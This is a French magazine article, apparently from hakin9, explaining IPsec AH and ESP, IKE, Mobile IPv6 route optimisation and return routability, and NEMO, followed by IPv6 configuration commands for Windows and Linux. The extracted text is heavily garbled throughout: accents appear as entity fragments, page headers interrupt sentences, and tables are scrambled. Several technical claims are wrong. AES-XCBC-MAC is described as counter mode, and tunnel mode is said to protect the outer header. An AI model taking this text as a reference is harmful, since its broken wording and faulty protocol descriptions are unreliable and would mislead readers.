Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

